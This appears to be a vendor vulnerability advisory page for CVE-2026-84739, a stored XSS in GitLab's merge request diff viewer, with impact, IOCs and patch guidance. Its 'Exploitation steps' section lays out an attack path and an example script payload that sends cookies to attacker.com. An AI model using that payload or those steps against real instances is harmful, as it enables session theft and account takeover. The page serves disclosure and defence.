PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet

CVE-2026-84739: 
GitLab vulnerability analysis and mitigation

Overview

CVE-2026-84739 is a stored Cross-Site Scripting (XSS) vulnerability in GitLab CE/EE affecting all versions from 13.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1. The flaw exists in the merge request diff viewer, where improper sanitization of path components allows an authenticated user to execute arbitrary JavaScript in the context of another user's browser session. It was published on September 29, 2026, with patches released in the same timeframe. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, GitLab Patch Release).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, path components within the merge request diff viewer are not properly sanitized before being rendered in the browser, enabling injection of malicious JavaScript. An authenticated attacker with at least low privileges can craft a merge request containing a malicious file path; when a victim user views the diff, the injected script executes in their browser session. Exploitation requires user interaction (the victim must view the malicious diff) and operates over the network with low attack complexity and a changed scope, reflecting the cross-user impact (GitHub Advisory, GitLab Patch Release).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session, enabling theft of session tokens, account takeover, impersonation, and unauthorized actions performed on behalf of the victim user. Both confidentiality and integrity are rated High, as sensitive data accessible to the victim (including tokens, credentials, and repository content) may be exfiltrated, and actions may be performed without the victim's consent. Availability is not directly impacted. The changed scope means the impact extends beyond the attacker's own session to affect other users across the GitLab instance (GitHub Advisory).

Exploitability

As of the time of publication, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.36–0.47%, placing it in roughly the 39th percentile for exploitation probability within 30 days. The vulnerability was originally reported via HackerOne (report #3938482) and is detectable by Qualys scanner (detection ID 532798) (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify a target GitLab CE/EE instance running a vulnerable version (13.11 through 19.2.6, 19.3.0–19.3.2, or 19.4.0) using version disclosure on the GitLab login page or API endpoint (/api/v4/version).
  2. Obtain authenticated access: Log in to the GitLab instance with any valid low-privilege account that has permission to create merge requests in a shared project.
  3. Craft malicious merge request: Create a branch containing a file with a specially crafted path that embeds a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) within the path component that is improperly sanitized by the diff viewer.
  4. Open a merge request: Submit a merge request from the malicious branch to a target branch in a project accessible to the intended victim user.
  5. Induce victim interaction: Social-engineer or wait for the target user (e.g., a maintainer or reviewer) to open and view the merge request diff in their browser.
  6. Harvest session data: The injected JavaScript executes in the victim's browser session, exfiltrating session cookies, tokens, or performing actions (e.g., adding SSH keys, changing settings) on behalf of the victim (GitHub Advisory, GitLab Patch Release).

Indicators of compromise

  • Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after viewing a merge request diff; unusual GET/POST requests containing encoded cookie or token data to attacker-controlled infrastructure.
  • Logs: GitLab application logs showing merge request diff views followed by anomalous API calls (e.g., SSH key additions, personal access token creation, settings changes) from the same user session; access log entries for merge request diff pages containing unusually long or encoded path components.
  • File System / Repository: Merge requests containing file paths with HTML/JavaScript special characters (<, >, script, onerror, etc.) in branch or file names.
  • Session / Account Activity: Unexpected account actions (new SSH keys, new tokens, changed email/password) performed by a user shortly after viewing a merge request diff, potentially indicating session hijacking.

Mitigation and workarounds

GitLab has released patched versions addressing this vulnerability: 19.2.7, 19.3.3, and 19.4.1. All GitLab CE/EE administrators running versions from 13.11 onward should upgrade to one of these fixed releases immediately (GitLab Patch Release, GitHub Advisory). If immediate patching is not feasible, consider restricting access to merge request diff viewing or disabling the merge request diff viewer functionality until the patch can be applied. Additionally, enforcing strict Content Security Policy (CSP) headers at the reverse proxy or load balancer level may reduce the impact of XSS exploitation.

Community reactions

The vulnerability was covered by several security news outlets following the patch release, including SecurityOnline, CyberSecurityNews, Heise, and Cryptika, often in the context of a broader GitLab critical patch release that also addressed other high-severity issues (GitLab Patch Release). Social media activity was observed on Bluesky, with CVE tracking accounts and security community members sharing the advisory. Community sentiment focused on the broad version range affected (from 13.11 onward) and the importance of prompt patching given GitLab's widespread use in CI/CD pipelines.

Additional resources


Source: This report was generated using AI

Related GitLab vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-110264CRITICAL10
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NoYesOct 22, 2026
CVE-2026-16255NONEN/A
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NoYesOct 21, 2026
CVE-2026-15723NONEN/A
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NoYesOct 21, 2026
CVE-2026-14288NONEN/A
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NoYesOct 21, 2026
CVE-2026-13319NONEN/A
  • GitLab logoGitLab
  • cpe:2.3:a:gitlab:gitlab
NoYesOct 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management